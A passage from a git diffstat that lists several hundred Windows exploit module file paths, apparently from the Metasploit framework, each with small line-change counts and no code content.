++--- .../windows/fileformat/nuance_pdf_launch_overflow.rb | 6 ++---- modules/exploits/windows/fileformat/openoffice_ole.rb | 6 ++---- .../windows/fileformat/orbit_download_failed_bof.rb | 5 ++--- modules/exploits/windows/fileformat/orbital_viewer_orb.rb | 6 ++---- modules/exploits/windows/fileformat/ovf_format_string.rb | 6 ++---- .../exploits/windows/fileformat/proshow_cellimage_bof.rb | 6 ++---- modules/exploits/windows/fileformat/proshow_load_bof.rb | 6 ++---- .../exploits/windows/fileformat/real_networks_netzip_bof.rb | 6 ++---- .../windows/fileformat/real_player_url_property_bof.rb | 5 ++--- .../windows/fileformat/safenet_softremote_groupname.rb | 6 ++---- modules/exploits/windows/fileformat/sascam_get.rb | 6 ++---- modules/exploits/windows/fileformat/scadaphone_zip.rb | 6 ++---- .../windows/fileformat/shadow_stream_recorder_bof.rb | 5 ++--- modules/exploits/windows/fileformat/somplplayer_m3u.rb | 6 ++---- .../windows/fileformat/subtitle_processor_m3u_bof.rb | 6 ++---- .../exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb | 5 ++--- modules/exploits/windows/fileformat/tugzip.rb | 6 ++---- modules/exploits/windows/fileformat/ultraiso_ccd.rb | 6 ++---- modules/exploits/windows/fileformat/ultraiso_cue.rb | 6 ++---- modules/exploits/windows/fileformat/ursoft_w32dasm.rb | 6 ++---- modules/exploits/windows/fileformat/varicad_dwb.rb | 6 ++---- modules/exploits/windows/fileformat/videolan_tivo.rb | 6 ++---- modules/exploits/windows/fileformat/videospirit_visprj.rb | 6 ++---- modules/exploits/windows/fileformat/visio_dxf_bof.rb | 6 ++---- modules/exploits/windows/fileformat/visiwave_vwr_type.rb | 6 ++---- modules/exploits/windows/fileformat/vlc_modplug_s3m.rb | 6 ++---- modules/exploits/windows/fileformat/vlc_realtext.rb | 6 ++---- modules/exploits/windows/fileformat/vlc_smb_uri.rb | 6 ++---- modules/exploits/windows/fileformat/vlc_webm.rb | 6 ++---- modules/exploits/windows/fileformat/vuplayer_cue.rb | 6 ++---- modules/exploits/windows/fileformat/vuplayer_m3u.rb | 6 ++---- modules/exploits/windows/fileformat/winamp_maki_bof.rb | 6 ++---- .../exploits/windows/fileformat/wireshark_packet_dect.rb | 6 ++---- modules/exploits/windows/fileformat/wm_downloader_m3u.rb | 6 ++---- modules/exploits/windows/fileformat/xenorate_xpl_bof.rb | 6 ++---- modules/exploits/windows/fileformat/xion_m3u_sehbof.rb | 6 ++---- modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb | 5 ++--- .../exploits/windows/fileformat/zinfaudioplayer221_pls.rb | 6 ++---- modules/exploits/windows/firewall/blackice_pam_icq.rb | 6 ++---- modules/exploits/windows/firewall/kerio_auth.rb | 6 ++---- modules/exploits/windows/ftp/32bitftp_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/3cdaemon_ftp_user.rb | 5 ++--- modules/exploits/windows/ftp/aasync_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/ability_server_stor.rb | 6 ++---- modules/exploits/windows/ftp/absolute_ftp_list_bof.rb | 6 ++---- modules/exploits/windows/ftp/cesarftp_mkd.rb | 6 ++---- modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb | 6 ++---- modules/exploits/windows/ftp/dreamftp_format.rb | 6 ++---- modules/exploits/windows/ftp/easyfilesharing_pass.rb | 6 ++---- modules/exploits/windows/ftp/easyftp_cwd_fixret.rb | 6 ++---- modules/exploits/windows/ftp/easyftp_list_fixret.rb | 6 ++---- modules/exploits/windows/ftp/easyftp_mkd_fixret.rb | 6 ++---- modules/exploits/windows/ftp/filecopa_list_overflow.rb | 6 ++---- modules/exploits/windows/ftp/filewrangler_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/freefloatftp_user.rb | 4 ++-- modules/exploits/windows/ftp/freefloatftp_wbem.rb | 5 ++--- modules/exploits/windows/ftp/freeftpd_pass.rb | 5 ++--- modules/exploits/windows/ftp/freeftpd_user.rb | 6 ++---- modules/exploits/windows/ftp/ftpgetter_pwd_reply.rb | 6 ++---- modules/exploits/windows/ftp/ftppad_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/ftpshell51_pwd_reply.rb | 6 ++---- modules/exploits/windows/ftp/ftpsynch_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/gekkomgr_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/globalscapeftp_input.rb | 6 ++---- modules/exploits/windows/ftp/goldenftp_pass_bof.rb | 6 ++---- modules/exploits/windows/ftp/httpdx_tolog_format.rb | 6 ++---- modules/exploits/windows/ftp/leapftp_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/leapftp_pasv_reply.rb | 6 ++---- modules/exploits/windows/ftp/ms09_053_ftpd_nlst.rb | 6 ++---- modules/exploits/windows/ftp/netterm_netftpd_user.rb | 6 ++---- modules/exploits/windows/ftp/odin_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/open_ftpd_wbem.rb | 5 ++--- modules/exploits/windows/ftp/oracle9i_xdb_ftp_pass.rb | 6 ++---- modules/exploits/windows/ftp/oracle9i_xdb_ftp_unlock.rb | 6 ++---- modules/exploits/windows/ftp/pcman_stor.rb | 6 ++---- modules/exploits/windows/ftp/proftp_banner.rb | 6 ++---- modules/exploits/windows/ftp/quickshare_traversal_write.rb | 5 ++--- modules/exploits/windows/ftp/ricoh_dl_bof.rb | 5 ++--- modules/exploits/windows/ftp/sami_ftpd_list.rb | 4 ++-- modules/exploits/windows/ftp/sami_ftpd_user.rb | 6 ++---- modules/exploits/windows/ftp/sasser_ftpd_port.rb | 6 ++---- modules/exploits/windows/ftp/scriptftp_list.rb | 6 ++---- modules/exploits/windows/ftp/seagull_list_reply.rb | 6 ++---- modules/exploits/windows/ftp/servu_chmod.rb | 6 ++---- modules/exploits/windows/ftp/servu_mdtm.rb | 6 ++---- modules/exploits/windows/ftp/slimftpd_list_concat.rb | 6 ++---- modules/exploits/windows/ftp/trellian_client_pasv.rb | 6 ++---- modules/exploits/windows/ftp/turboftp_port.rb | 6 ++---- modules/exploits/windows/ftp/vermillion_ftpd_port.rb | 6 ++---- modules/exploits/windows/ftp/warftpd_165_pass.rb | 6 ++---- modules/exploits/windows/ftp/warftpd_165_user.rb | 6 ++---- modules/exploits/windows/ftp/wftpd_size.rb | 6 ++---- modules/exploits/windows/ftp/wsftp_server_503_mkd.rb | 6 ++---- modules/exploits/windows/ftp/wsftp_server_505_xmd5.rb | 6 ++---- modules/exploits/windows/ftp/xftp_client_pwd.rb | 6 ++---- modules/exploits/windows/ftp/xlink_client.rb | 6 ++---- modules/exploits/windows/ftp/xlink_server.rb | 6 ++---- modules/exploits/windows/games/mohaa_getinfo.rb | 6 ++---- modules/exploits/windows/games/racer_503beta5.rb | 6 ++---- modules/exploits/windows/games/ut2004_secure.rb | 6 ++---- .../exploits/windows/http/adobe_robohelper_authbypass.rb | 6 ++---- modules/exploits/windows/http/altn_securitygateway.rb | 6 ++---- modules/exploits/windows/http/altn_webadmin.rb | 6 ++---- modules/exploits/windows/http/amlibweb_webquerydll_app.rb | 6 ++---- modules/exploits/windows/http/apache_chunked.rb | 6 ++---- modules/exploits/windows/http/apache_mod_rewrite_ldap.rb | 6 ++---- modules/exploits/windows/http/apache_modjk_overflow.rb | 6 ++---- modules/exploits/windows/http/avaya_ccr_imageupload_exec.rb | 6 ++---- modules/exploits/windows/http/badblue_ext_overflow.rb | 6 ++---- modules/exploits/windows/http/badblue_passthru.rb | 6 ++---- modules/exploits/windows/http/bea_weblogic_jsessionid.rb | 6 ++---- modules/exploits/windows/http/bea_weblogic_post_bof.rb | 6 ++---- .../exploits/windows/http/bea_weblogic_transfer_encoding.rb | 6 ++---- modules/exploits/windows/http/belkin_bulldog.rb | 6 ++---- modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb | 6 ++---- modules/exploits/windows/http/ca_igateway_debug.rb | 6 ++---- .../windows/http/ca_totaldefense_regeneratereports.rb | 6 ++---- .../windows/http/cogent_datahub_request_headers_bof.rb | 6 ++---- modules/exploits/windows/http/coldfusion_fckeditor.rb | 6 ++---- modules/exploits/windows/http/cyclope_ess_sqli.rb | 5 ++--- modules/exploits/windows/http/easyftp_list.rb | 6 ++---- modules/exploits/windows/http/edirectory_host.rb | 6 ++---- modules/exploits/windows/http/edirectory_imonitor.rb | 6 ++---- .../exploits/windows/http/efs_easychatserver_username.rb | 6 ++---- modules/exploits/windows/http/ektron_xslt_exec.rb | 6 ++---- modules/exploits/windows/http/ezserver_http.rb | 6 ++---- modules/exploits/windows/http/fdm_auth_header.rb | 6 ++---- modules/exploits/windows/http/hp_imc_mibfileupload.rb | 6 ++---- modules/exploits/windows/http/hp_mpa_job_acct.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_getnnmdata_hostname.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_getnnmdata_icount.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_getnnmdata_maxage.rb | 6 ++---- .../exploits/windows/http/hp_nnm_nnmrptconfig_nameparams.rb | 6 ++---- .../exploits/windows/http/hp_nnm_nnmrptconfig_schdparams.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_openview5.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_ovalarm_lang.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_ovas.rb | 6 ++---- .../exploits/windows/http/hp_nnm_ovbuildpath_textfile.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_ovwebhelp.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_main.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_ovutil.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_ovwebsnmpsrv_uro.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_snmp.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_snmpviewer_actapp.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_toolbar_01.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_toolbar_02.rb | 6 ++---- modules/exploits/windows/http/hp_nnm_webappmon_execvp.rb | 6 ++---- .../exploits/windows/http/hp_nnm_webappmon_ovjavalocale.rb | 6 ++---- .../exploits/windows/http/hp_openview_insight_backdoor.rb | 6 ++---- .../windows/http/hp_pcm_snac_update_certificates.rb | 6 ++---- modules/exploits/windows/http/hp_pcm_snac_update_domain.rb | 6 ++---- modules/exploits/windows/http/hp_power_manager_filename.rb | 6 ++---- modules/exploits/windows/http/hp_power_manager_login.rb | 6 ++---- .../exploits/windows/http/hp_sitescope_runomagentcommand.rb | 6 ++---- modules/exploits/windows/http/httpdx_handlepeer.rb | 6 ++---- modules/exploits/windows/http/httpdx_tolog_format.rb | 6 ++---- modules/exploits/windows/http/ia_webmail.rb | 6 ++---- modules/exploits/windows/http/ibm_tivoli_endpoint_bof.rb | 6 ++---- modules/exploits/windows/http/ibm_tpmfosd_overflow.rb | 6 ++---- modules/exploits/windows/http/ibm_tsm_cad_header.rb | 6 ++---- modules/exploits/windows/http/icecast_header.rb | 6 ++---- modules/exploits/windows/http/integard_password_bof.rb | 6 ++---- modules/exploits/windows/http/intersystems_cache.rb | 6 ++---- modules/exploits/windows/http/intrasrv_bof.rb | 5 ++--- modules/exploits/windows/http/ipswitch_wug_maincfgret.rb | 6 ++---- modules/exploits/windows/http/kolibri_http.rb | 6 ++---- .../windows/http/landesk_thinkmanagement_upload_asp.rb | 6 ++---- modules/exploits/windows/http/mailenable_auth_header.rb | 6 ++---- modules/exploits/windows/http/manageengine_apps_mngr.rb | 6 ++---- modules/exploits/windows/http/maxdb_webdbm_database.rb | 6 ++---- modules/exploits/windows/http/maxdb_webdbm_get_overflow.rb | 6 ++---- modules/exploits/windows/http/mcafee_epolicy_source.rb | 6 ++---- .../exploits/windows/http/mdaemon_worldclient_form2raw.rb | 6 ++---- modules/exploits/windows/http/minishare_get_overflow.rb | 6 ++---- modules/exploits/windows/http/miniweb_upload_wbem.rb | 5 ++--- modules/exploits/windows/http/navicopa_get_overflow.rb | 6 ++---- modules/exploits/windows/http/netdecision_http_bof.rb | 5 ++--- modules/exploits/windows/http/novell_imanager_upload.rb | 6 ++---- modules/exploits/windows/http/novell_mdm_lfi.rb | 6 ++---- .../exploits/windows/http/novell_messenger_acceptlang.rb | 6 ++---- modules/exploits/windows/http/nowsms.rb | 6 ++---- modules/exploits/windows/http/oracle9i_xdb_pass.rb | 6 ++---- modules/exploits/windows/http/oracle_btm_writetofile.rb | 6 ++---- modules/exploits/windows/http/oracle_endeca_exec.rb | 6 ++---- modules/exploits/windows/http/osb_uname_jlist.rb | 6 ++---- modules/exploits/windows/http/peercast_url.rb | 6 ++---- .../exploits/windows/http/php_apache_request_headers_bof.rb | 6 ++---- modules/exploits/windows/http/privatewire_gateway.rb | 6 ++---- modules/exploits/windows/http/psoproxy91_overflow.rb | 6 ++---- modules/exploits/windows/http/rabidhamster_r4_log.rb | 5 ++--- modules/exploits/windows/http/sambar6_search_results.rb | 6 ++---- .../exploits/windows/http/sap_configservlet_exec_noauth.rb | 6 ++---- modules/exploits/windows/http/sap_host_control_cmd_exec.rb | 6 ++---- .../exploits/windows/http/sap_mgmt_con_osexec_payload.rb | 6 ++---- modules/exploits/windows/http/sapdb_webtools.rb | 6 ++---- modules/exploits/windows/http/savant_31_overflow.rb | 6 ++---- modules/exploits/windows/http/servu_session_cookie.rb | 6 ++---- modules/exploits/windows/http/shoutcast_format.rb | 6 ++---- modules/exploits/windows/http/shttpd_post.rb | 6 ++---- .../exploits/windows/http/solarwinds_storage_manager_sql.rb | 5 ++--- modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb | 5 ++--- modules/exploits/windows/http/steamcast_useragent.rb | 6 ++---- modules/exploits/windows/http/sws_connection_bof.rb | 6 ++---- modules/exploits/windows/http/sybase_easerver.rb | 6 ++---- modules/exploits/windows/http/sysax_create_folder.rb | 6 ++---- modules/exploits/windows/http/trackercam_phparg_overflow.rb | 6 ++---- modules/exploits/windows/http/trendmicro_officescan.rb | 6 ++---- modules/exploits/windows/http/ultraminihttp_bof.rb | 5 ++--- modules/exploits/windows/http/umbraco_upload_aspx.rb | 6 ++---- .../windows/http/vmware_vcenter_chargeback_upload.rb | 6 ++---- modules/exploits/windows/http/webster_http.rb | 6 ++---- modules/exploits/windows/http/xampp_webdav_upload_php.rb | 6 ++---- modules/exploits/windows/http/xitami_if_mod_since.rb | 6 ++---- .../windows/http/zenworks_assetmgmt_uploadservlet.rb | 6 ++---- modules/exploits/windows/http/zenworks_uploadservlet.rb | 6 ++---- modules/exploits/windows/iis/iis_webdav_upload_asp.rb | 6 ++---- modules/exploits/windows/iis/ms01_023_printer.rb | 6 ++---- modules/exploits/windows/iis/ms01_026_dbldecode.rb | 6 ++---- modules/exploits/windows/iis/ms01_033_idq.rb | 6 ++---- modules/exploits/windows/iis/ms02_018_htr.rb | 6 ++---- modules/exploits/windows/iis/ms02_065_msadc.rb | 6 ++---- modules/exploits/windows/iis/ms03_007_ntdll_webdav.rb | 6 ++---- modules/exploits/windows/iis/msadc.rb | 6 ++---- modules/exploits/windows/imap/eudora_list.rb | 6 ++---- modules/exploits/windows/imap/imail_delete.rb | 6 ++---- modules/exploits/windows/imap/ipswitch_search.rb | 6 ++---- modules/exploits/windows/imap/mailenable_login.rb | 6 ++---- modules/exploits/windows/imap/mailenable_status.rb | 6 ++---- modules/exploits/windows/imap/mailenable_w3c_select.rb | 6 ++---- modules/exploits/windows/imap/mdaemon_cram_md5.rb | 6 ++---- modules/exploits/windows/imap/mdaemon_fetch.rb | 6 ++---- .../exploits/windows/imap/mercur_imap_select_overflow.rb | 6 ++---- modules/exploits/windows/imap/mercur_login.rb | 6 ++---- modules/exploits/windows/imap/mercury_login.rb | 6 ++---- modules/exploits/windows/imap/mercury_rename.rb | 6 ++---- modules/exploits/windows/imap/novell_netmail_append.rb | 6 ++---- modules/exploits/windows/imap/novell_netmail_auth.rb | 6 ++---- modules/exploits/windows/imap/novell_netmail_status.rb | 6 ++---- modules/exploits/windows/imap/novell_netmail_subscribe.rb | 6 ++---- modules/exploits/windows/isapi/ms00_094_pbserver.rb | 6 ++---- modules/exploits/windows/isapi/ms03_022_nsiislog_post.rb | 6 ++---- modules/exploits/windows/isapi/ms03_051_fp30reg_chunked.rb | 6 ++---- modules/exploits/windows/isapi/rsa_webagent_redirect.rb | 6 ++---- modules/exploits/windows/isapi/w3who_query.rb | 6 ++---- modules/exploits/windows/ldap/imail_thc.rb | 6 ++---- modules/exploits/windows/ldap/pgp_keyserver7.rb | 6 ++---- modules/exploits/windows/license/calicclnt_getconfig.rb | 6 ++---- modules/exploits/windows/license/calicserv_getconfig.rb | 6 ++---- modules/exploits/windows/license/flexnet_lmgrd_bof.rb | 6 ++---- modules/exploits/windows/license/sentinel_lm7_udp.rb | 6 ++---- .../exploits/windows/local/adobe_sandbox_adobecollabsync.rb | 6 ++---- modules/exploits/windows/local/agnitum_outpost_acs.rb | 6 ++---- modules/exploits/windows/local/always_install_elevated.rb | 6 ++---- modules/exploits/windows/local/ask.rb | 5 ++--- modules/exploits/windows/local/bypassuac.rb | 5 ++--- modules/exploits/windows/local/current_user_psexec.rb | 5 ++--- modules/exploits/windows/local/ikeext_service.rb | 6 ++---- modules/exploits/windows/local/ms10_092_schelevator.rb | 6 ++---- modules/exploits/windows/local/ms11_080_afdjoinleaf.rb | 6 ++---- modules/exploits/windows/local/ms13_005_hwnd_broadcast.rb | 6 ++---- modules/exploits/windows/local/novell_client_nicm.rb | 6 ++---- modules/exploits/windows/local/novell_client_nwfs.rb | 6 ++---- modules/exploits/windows/local/payload_inject.rb | 4 +--- modules/exploits/windows/local/persistence.rb | 4 +--- modules/exploits/windows/local/ppr_flatten_rec.rb | 6 ++---- modules/exploits/windows/local/s4u_persistence.rb | 4 +--- modules/exploits/windows/local/service_permissions.rb | 6 ++---- modules/exploits/windows/local/trusted_service_path.rb | 6 ++---- .../exploits/windows/lotus/domino_http_accept_language.rb | 6 ++---- .../exploits/windows/lotus/domino_icalendar_organizer.rb | 6 ++---- modules/exploits/windows/lotus/domino_sametime_stmux.rb | 6 ++---- modules/exploits/windows/lotus/lotusnotes_lzh.rb | 6 ++---- modules/exploits/windows/lpd/hummingbird_exceed.rb | 6 ++---- modules/exploits/windows/lpd/niprint.rb | 6 ++---- modules/exploits/windows/lpd/saplpd.rb | 6 ++---- modules/exploits/windows/lpd/wincomlpd_admin.rb | 6 ++---- modules/exploits/windows/misc/actfax_raw_server_bof.rb | 5 ++--- modules/exploits/windows/misc/agentxpp_receive_agentx.rb | 6 ++---- modules/exploits/windows/misc/allmediaserver_bof.rb | 5 ++--- .../exploits/windows/misc/apple_quicktime_rtsp_response.rb | 6 ++---- modules/exploits/windows/misc/asus_dpcproxy_overflow.rb | 6 ++---- modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb | 6 ++---- modules/exploits/windows/misc/avidphoneticindexer.rb | 6 ++---- modules/exploits/windows/misc/bakbone_netvault_heap.rb | 6 ++---- modules/exploits/windows/misc/bcaaa_bof.rb | 6 ++---- modules/exploits/windows/misc/bigant_server.rb | 6 ++---- modules/exploits/windows/misc/bigant_server_250.rb | 6 ++---- modules/exploits/windows/misc/bigant_server_dupf_upload.rb | 6 ++---- modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb | 6 ++---- modules/exploits/windows/misc/bigant_server_usv.rb | 6 ++---- modules/exploits/windows/misc/bomberclone_overflow.rb | 6 ++---- modules/exploits/windows/misc/bopup_comm.rb | 6 ++---- modules/exploits/windows/misc/borland_interbase.rb | 6 ++---- modules/exploits/windows/misc/borland_starteam.rb | 6 ++---- modules/exploits/windows/misc/citrix_streamprocess.rb | 6 ++---- .../exploits/windows/misc/citrix_streamprocess_data_msg.rb | 6 ++---- .../misc/citrix_streamprocess_get_boot_record_request.rb | 6 ++---- .../windows/misc/citrix_streamprocess_get_footer.rb | 6 ++---- .../windows/misc/citrix_streamprocess_get_objects.rb | 6 ++---- modules/exploits/windows/misc/doubletake.rb | 6 ++---- modules/exploits/windows/misc/eiqnetworks_esa.rb | 6 ++---- modules/exploits/windows/misc/eiqnetworks_esa_topology.rb | 6 ++---- .../exploits/windows/misc/enterasys_netsight_syslog_bof.rb | 6 ++---- modules/exploits/windows/misc/eureka_mail_err.rb | 6 ++---- modules/exploits/windows/misc/fb_cnct_group.rb | 6 ++---- modules/exploits/windows/misc/fb_isc_attach_database.rb | 6 ++---- modules/exploits/windows/misc/fb_isc_create_database.rb | 6 ++---- modules/exploits/windows/misc/fb_svc_attach.rb | 6 ++---- modules/exploits/windows/misc/gimp_script_fu.rb | 6 ++---- modules/exploits/windows/misc/hp_dataprotector_crs.rb | 6 ++---- .../exploits/windows/misc/hp_dataprotector_dtbclslogin.rb | 5 ++--- .../exploits/windows/misc/hp_dataprotector_new_folder.rb | 5 ++--- modules/exploits/windows/misc/hp_imc_uam.rb | 6 ++---- modules/exploits/windows/misc/hp_loadrunner_magentproc.rb | 6 ++---- modules/exploits/windows/misc/hp_magentservice.rb | 6 ++---- modules/exploits/windows/misc/hp_omniinet_1.rb | 6 ++---- modules/exploits/windows/misc/hp_omniinet_2.rb | 6 ++---- modules/exploits/windows/misc/hp_omniinet_3.rb | 6 ++---- modules/exploits/windows/misc/hp_omniinet_4.rb | 6 ++---- .../exploits/windows/misc/hp_operations_agent_coda_34.rb | 6 ++---- .../exploits/windows/misc/hp_operations_agent_coda_8c.rb | 6 ++---- modules/exploits/windows/misc/hp_ovtrace.rb | 6 ++---- modules/exploits/windows/misc/ib_isc_attach_database.rb | 6 ++---- modules/exploits/windows/misc/ib_isc_create_database.rb | 6 ++---- modules/exploits/windows/misc/ib_svc_attach.rb | 6 ++---- modules/exploits/windows/misc/ibm_cognos_tm1admsd_bof.rb | 5 ++--- modules/exploits/windows/misc/ibm_director_cim_dllinject.rb | 6 ++---- modules/exploits/windows/misc/ibm_tsm_cad_ping.rb | 6 ++---- .../exploits/windows/misc/ibm_tsm_rca_dicugetidentify.rb | 6 ++---- modules/exploits/windows/misc/itunes_extm3u_bof.rb | 5 ++--- modules/exploits/windows/misc/landesk_aolnsrvr.rb | 6 ++---- modules/exploits/windows/misc/lianja_db_net.rb | 6 ++---- modules/exploits/windows/misc/mercury_phonebook.rb | 6 ++---- modules/exploits/windows/misc/mini_stream.rb | 6 ++---- modules/exploits/windows/misc/mirc_privmsg_server.rb | 6 ++---- modules/exploits/windows/misc/ms07_064_sami.rb | 6 ++---- modules/exploits/windows/misc/ms10_104_sharepoint.rb | 6 ++---- modules/exploits/windows/misc/netcat110_nt.rb | 6 ++---- modules/exploits/windows/misc/nettransport.rb | 6 ++---- modules/exploits/windows/misc/poisonivy_bof.rb | 6 ++---- modules/exploits/windows/misc/poppeeper_date.rb | 6 ++---- modules/exploits/windows/misc/poppeeper_uidl.rb | 6 ++---- modules/exploits/windows/misc/psh_web_delivery.rb | 6 ++---- modules/exploits/windows/misc/pxexploit.rb | 6 ++---- modules/exploits/windows/misc/realtek_playlist.rb | 6 ++---- modules/exploits/windows/misc/sap_2005_license.rb | 6 ++---- modules/exploits/windows/misc/sap_netweaver_dispatcher.rb | 6 ++---- modules/exploits/windows/misc/shixxnote_font.rb | 6 ++---- modules/exploits/windows/misc/splayer_content_type.rb | 6 ++---- modules/exploits/windows/misc/stream_down_bof.rb | 6 ++---- modules/exploits/windows/misc/talkative_response.rb | 6 ++---- modules/exploits/windows/misc/tiny_identd_overflow.rb | 6 ++---- .../windows/misc/trendmicro_cmdprocessor_addtask.rb | 5 ++--- modules/exploits/windows/misc/ufo_ai.rb | 6 ++---- modules/exploits/windows/misc/windows_rsh.rb | 6 ++---- modules/exploits/windows/misc/wireshark_lua.rb | 6 ++---- modules/exploits/windows/misc/wireshark_packet_dect.rb | 6 ++---- .../exploits/windows/mmsp/ms10_025_wmss_connect_funnel.rb | 6 ++---- modules/exploits/windows/motorola/timbuktu_fileupload.rb | 6 ++---- .../exploits/windows/mssql/lyris_listmanager_weak_pass.rb | 6 ++---- modules/exploits/windows/mssql/ms02_039_slammer.rb | 6 ++---- modules/exploits/windows/mssql/ms02_056_hello.rb | 6 ++---- .../exploits/windows/mssql/ms09_004_sp_replwritetovarbin.rb | 6 ++---- .../windows/mssql/ms09_004_sp_replwritetovarbin_sqli.rb | 6 ++---- modules/exploits/windows/mssql/mssql_linkcrawler.rb | 5 ++--- modules/exploits/windows/mssql/mssql_payload.rb | 6 ++---- modules/exploits/windows/mssql/mssql_payload_sqli.rb | 6 ++---- modules/exploits/windows/mysql/mysql_mof.rb | 6 ++---- modules/exploits/windows/mysql/mysql_payload.rb | 6 ++---- modules/exploits/windows/mysql/mysql_yassl_hello.rb | 6 ++---- modules/exploits/windows/mysql/scrutinizer_upload_exec.rb | 5 ++--- modules/exploits/windows/nfs/xlink_nfsd.rb | 6 ++---- modules/exploits/windows/nntp/ms05_030_nntp.rb | 6 ++---- .../exploits/windows/novell/file_reporter_fsfui_upload.rb | 6 ++---- .../exploits/windows/novell/groupwisemessenger_client.rb | 6 ++---- modules/exploits/windows/novell/netiq_pum_eval.rb | 6 ++---- modules/exploits/windows/novell/nmap_stor.rb | 6 ++---- modules/exploits/windows/novell/zenworks_desktop_agent.rb | 6 ++---- .../exploits/windows/novell/zenworks_preboot_op21_bof.rb | 6 ++---- .../exploits/windows/novell/zenworks_preboot_op4c_bof.rb | 6 ++---- modules/exploits/windows/novell/zenworks_preboot_op6_bof.rb | 6 ++---- .../exploits/windows/novell/zenworks_preboot_op6c_bof.rb | 6 ++---- .../windows/oracle/client_system_analyzer_upload.rb | 6 ++---- modules/exploits/windows/oracle/extjob.rb | 6 ++---- modules/exploits/windows/oracle/osb_ndmp_auth.rb | 6 ++---- modules/exploits/windows/oracle/tns_arguments.rb | 6 ++---- modules/exploits/windows/oracle/tns_auth_sesskey.rb | 6 ++---- modules/exploits/windows/oracle/tns_service_name.rb | 6 ++---- modules/exploits/windows/pop3/seattlelab_pass.rb | 6 ++---- modules/exploits/windows/postgres/postgres_payload.rb | 6 ++---- modules/exploits/windows/proxy/bluecoat_winproxy_host.rb | 6 ++---- modules/exploits/windows/proxy/ccproxy_telnet_ping.rb | 6 ++---- modules/exploits/windows/proxy/proxypro_http_get.rb | 6 ++---- modules/exploits/windows/proxy/qbik_wingate_wwwproxy.rb | 6 ++---- modules/exploits/windows/scada/citect_scada_odbc.rb | 6 ++---- .../windows/scada/codesys_gateway_server_traversal.rb | 5 ++--- modules/exploits/windows/scada/codesys_web_server.rb | 6 ++---- modules/exploits/windows/scada/daq_factory_bof.rb | 6 ++---- modules/exploits/windows/scada/factorylink_csservice.rb | 6 ++---- modules/exploits/windows/scada/factorylink_vrn_09.rb | 6 ++---- modules/exploits/windows/scada/iconics_genbroker.rb | 6 ++---- .../exploits/windows/scada/iconics_webhmi_setactivexguid.rb | 6 ++---- .../exploits/windows/scada/igss9_igssdataserver_listall.rb | 6 ++---- .../exploits/windows/scada/igss9_igssdataserver_rename.rb | 6 ++---- modules/exploits/windows/scada/igss9_misc.rb | 6 ++---- modules/exploits/windows/scada/indusoft_webstudio_exec.rb | 6 ++---- modules/exploits/windows/scada/moxa_mdmtool.rb | 6 ++---- modules/exploits/windows/scada/procyon_core_server.rb | 6 ++---- modules/exploits/windows/scada/realwin.rb | 6 ++---- modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb | 6 ++---- modules/exploits/windows/scada/realwin_on_fcs_login.rb | 6 ++---- modules/exploits/windows/scada/realwin_scpc_initialize.rb | 6 ++---- .../exploits/windows/scada/realwin_scpc_initialize_rf.rb | 6 ++---- modules/exploits/windows/scada/realwin_scpc_txtevent.rb | 6 ++---- modules/exploits/windows/scada/scadapro_cmdexe.rb | 6 ++---- .../exploits/windows/scada/sunway_force_control_netdbsrv.rb | 6 ++---- modules/exploits/windows/scada/winlog_runtime.rb | 6 ++---- modules/exploits/windows/scada/winlog_runtime_2.rb | 5 ++--- modules/exploits/windows/sip/aim_triton_cseq.rb | 6 ++---- modules/exploits/windows/sip/sipxezphone_cseq.rb | 6 ++---- modules/exploits/windows/sip/sipxphone_cseq.rb | 6 ++---- modules/exploits/windows/smb/ms03_049_netapi.rb | 6 ++---- modules/exploits/windows/smb/ms04_007_killbill.rb | 6 ++---- modules/exploits/windows/smb/ms04_011_lsass.rb | 6 ++---- modules/exploits/windows/smb/ms04_031_netdde.rb | 6 ++---- modules/exploits/windows/smb/ms05_039_pnp.rb | 6 ++---- modules/exploits/windows/smb/ms06_025_rasmans_reg.rb | 6 ++---- modules/exploits/windows/smb/ms06_025_rras.rb | 6 ++---- modules/exploits/windows/smb/ms06_040_netapi.rb | 6 ++---- modules/exploits/windows/smb/ms06_066_nwapi.rb | 6 ++---- modules/exploits/windows/smb/ms06_066_nwwks.rb | 6 ++---- modules/exploits/windows/smb/ms06_070_wkssvc.rb | 6 ++---- modules/exploits/windows/smb/ms07_029_msdns_zonename.rb | 6 ++---- modules/exploits/windows/smb/ms08_067_netapi.rb | 6 ++---- .../windows/smb/ms09_050_smb2_negotiate_func_index.rb | 6 ++---- modules/exploits/windows/smb/ms10_061_spoolss.rb | 6 ++---- modules/exploits/windows/smb/netidentity_xtierrpcpipe.rb | 6 ++---- modules/exploits/windows/smb/psexec.rb | 6 ++---- modules/exploits/windows/smb/psexec_psh.rb | 6 ++---- modules/exploits/windows/smb/smb_relay.rb | 6 ++---- modules/exploits/windows/smb/timbuktu_plughntcommand_bof.rb | 6 ++---- modules/exploits/windows/smtp/mailcarrier_smtp_ehlo.rb | 6 ++---- modules/exploits/windows/smtp/mercury_cram_md5.rb | 6 ++---- 